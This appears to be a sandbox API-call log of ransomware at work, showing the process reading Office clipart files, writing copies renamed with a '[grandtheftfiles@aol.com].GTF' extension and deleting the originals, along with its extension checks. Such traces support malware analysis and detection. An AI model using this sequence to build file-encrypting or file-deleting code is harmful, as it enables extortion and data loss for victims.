	[0089.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0089.212] lstrlenW (lpString=".jpg") returned 4
	[0089.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.213] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.213] lstrlenW (lpString="HH01875_.WMF") returned 12
	[0089.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.213] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2616) returned 1
	[0089.213] CloseHandle (hObject=0x390) returned 1
	[0089.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220
	[0089.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.214] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.214] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.214] GetLastError () returned 0x0
	[0089.214] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xa38, lpOverlapped=0x0) returned 1
	[0089.216] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xa40, lpOverlapped=0x0) returned 1
	[0089.217] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.217] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.217] SetEndOfFile (hFile=0x39c) returned 1
	[0089.217] CloseHandle (hObject=0x39c) returned 1
	[0089.218] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.218] SetEndOfFile (hFile=0x390) returned 1
	[0089.218] CloseHandle (hObject=0x390) returned 1
	[0089.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1
	[0089.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.219] lstrlenW (lpString=".doc") returned 4
	[0089.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.219] lstrlenW (lpString=".docx") returned 5
	[0089.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.219] lstrlenW (lpString=".pdf") returned 4
	[0089.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.219] lstrlenW (lpString=".xls") returned 4
	[0089.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.219] lstrlenW (lpString=".xlsx") returned 5
	[0089.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.219] lstrlenW (lpString=".ppt") returned 4
	[0089.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.219] lstrlenW (lpString=".zip") returned 4
	[0089.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.219] lstrlenW (lpString=".rar") returned 4
	[0089.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.219] lstrlenW (lpString=".bz2") returned 4
	[0089.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString=".7z") returned 3
	[0089.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.220] lstrlenW (lpString=".dbf") returned 4
	[0089.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.220] lstrlenW (lpString=".1cd") returned 4
	[0089.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.220] lstrlenW (lpString=".jpg") returned 4
	[0089.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.220] lstrlenW (lpString=".doc") returned 4
	[0089.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString=".docx") returned 5
	[0089.220] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.220] lstrlenW (lpString=".pdf") returned 4
	[0089.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString=".xls") returned 4
	[0089.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.220] lstrlenW (lpString=".xlsx") returned 5
	[0089.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.220] lstrlenW (lpString=".ppt") returned 4
	[0089.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.220] lstrlenW (lpString=".zip") returned 4
	[0089.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.220] lstrlenW (lpString=".rar") returned 4
	[0089.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.220] lstrlenW (lpString=".bz2") returned 4
	[0089.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.221] lstrlenW (lpString=".7z") returned 3
	[0089.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.221] lstrlenW (lpString=".dbf") returned 4
	[0089.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.221] lstrlenW (lpString=".1cd") returned 4
	[0089.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0089.221] lstrlenW (lpString=".jpg") returned 4
	[0089.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.221] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.221] lstrlenW (lpString="HH01923_.WMF") returned 12
	[0089.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.221] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=26706) returned 1
	[0089.221] CloseHandle (hObject=0x390) returned 1
	[0089.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220
	[0089.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.222] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.222] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.222] GetLastError () returned 0x0
	[0089.222] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x6852, lpOverlapped=0x0) returned 1
	[0089.224] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x6860, lpOverlapped=0x0) returned 1
	[0089.225] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.226] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.226] SetEndOfFile (hFile=0x39c) returned 1
	[0089.226] CloseHandle (hObject=0x39c) returned 1
	[0089.226] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.226] SetEndOfFile (hFile=0x390) returned 1
	[0089.227] CloseHandle (hObject=0x390) returned 1
	[0089.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1
	[0089.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.228] lstrlenW (lpString=".doc") returned 4
	[0089.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.228] lstrlenW (lpString=".docx") returned 5
	[0089.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.228] lstrlenW (lpString=".pdf") returned 4
	[0089.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.228] lstrlenW (lpString=".xls") returned 4
	[0089.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.228] lstrlenW (lpString=".xlsx") returned 5
	[0089.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.228] lstrlenW (lpString=".ppt") returned 4
	[0089.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.228] lstrlenW (lpString=".zip") returned 4
	[0089.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.228] lstrlenW (lpString=".rar") returned 4
	[0089.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.228] lstrlenW (lpString=".bz2") returned 4
	[0089.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.228] lstrlenW (lpString=".7z") returned 3
	[0089.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.228] lstrlenW (lpString=".dbf") returned 4
	[0089.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.228] lstrlenW (lpString=".1cd") returned 4
	[0089.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.228] lstrlenW (lpString=".jpg") returned 4
	[0089.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.229] lstrlenW (lpString=".doc") returned 4
	[0089.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString=".docx") returned 5
	[0089.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.229] lstrlenW (lpString=".pdf") returned 4
	[0089.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString=".xls") returned 4
	[0089.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.229] lstrlenW (lpString=".xlsx") returned 5
	[0089.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.229] lstrlenW (lpString=".ppt") returned 4
	[0089.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.229] lstrlenW (lpString=".zip") returned 4
	[0089.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.229] lstrlenW (lpString=".rar") returned 4
	[0089.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString=".bz2") returned 4
	[0089.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString=".7z") returned 3
	[0089.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.229] lstrlenW (lpString=".dbf") returned 4
	[0089.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.229] lstrlenW (lpString=".1cd") returned 4
	[0089.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0089.229] lstrlenW (lpString=".jpg") returned 4
	[0089.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.230] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.230] lstrlenW (lpString="HH02155_.WMF") returned 12
	[0089.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.230] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2704) returned 1
	[0089.230] CloseHandle (hObject=0x390) returned 1
	[0089.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220
	[0089.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.230] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.230] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.231] GetLastError () returned 0x0
	[0089.231] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xa90, lpOverlapped=0x0) returned 1
	[0089.715] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xaa0, lpOverlapped=0x0) returned 1
	[0089.716] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.716] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.716] SetEndOfFile (hFile=0x39c) returned 1
	[0089.717] CloseHandle (hObject=0x39c) returned 1
	[0089.717] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.717] SetEndOfFile (hFile=0x390) returned 1
	[0089.718] CloseHandle (hObject=0x390) returned 1
	[0089.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1
	[0089.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.718] lstrlenW (lpString=".doc") returned 4
	[0089.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.718] lstrlenW (lpString=".docx") returned 5
	[0089.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.718] lstrlenW (lpString=".pdf") returned 4
	[0089.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.718] lstrlenW (lpString=".xls") returned 4
	[0089.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.718] lstrlenW (lpString=".xlsx") returned 5
	[0089.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.719] lstrlenW (lpString=".ppt") returned 4
	[0089.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.719] lstrlenW (lpString=".zip") returned 4
	[0089.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.719] lstrlenW (lpString=".rar") returned 4
	[0089.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString=".bz2") returned 4
	[0089.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString=".7z") returned 3
	[0089.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.719] lstrlenW (lpString=".dbf") returned 4
	[0089.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.719] lstrlenW (lpString=".1cd") returned 4
	[0089.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.719] lstrlenW (lpString=".jpg") returned 4
	[0089.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.719] lstrlenW (lpString=".doc") returned 4
	[0089.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString=".docx") returned 5
	[0089.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.719] lstrlenW (lpString=".pdf") returned 4
	[0089.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.719] lstrlenW (lpString=".xls") returned 4
	[0089.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.719] lstrlenW (lpString=".xlsx") returned 5
	[0089.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.720] lstrlenW (lpString=".ppt") returned 4
	[0089.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.720] lstrlenW (lpString=".zip") returned 4
	[0089.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.720] lstrlenW (lpString=".rar") returned 4
	[0089.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.720] lstrlenW (lpString=".bz2") returned 4
	[0089.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.720] lstrlenW (lpString=".7z") returned 3
	[0089.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.720] lstrlenW (lpString=".dbf") returned 4
	[0089.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
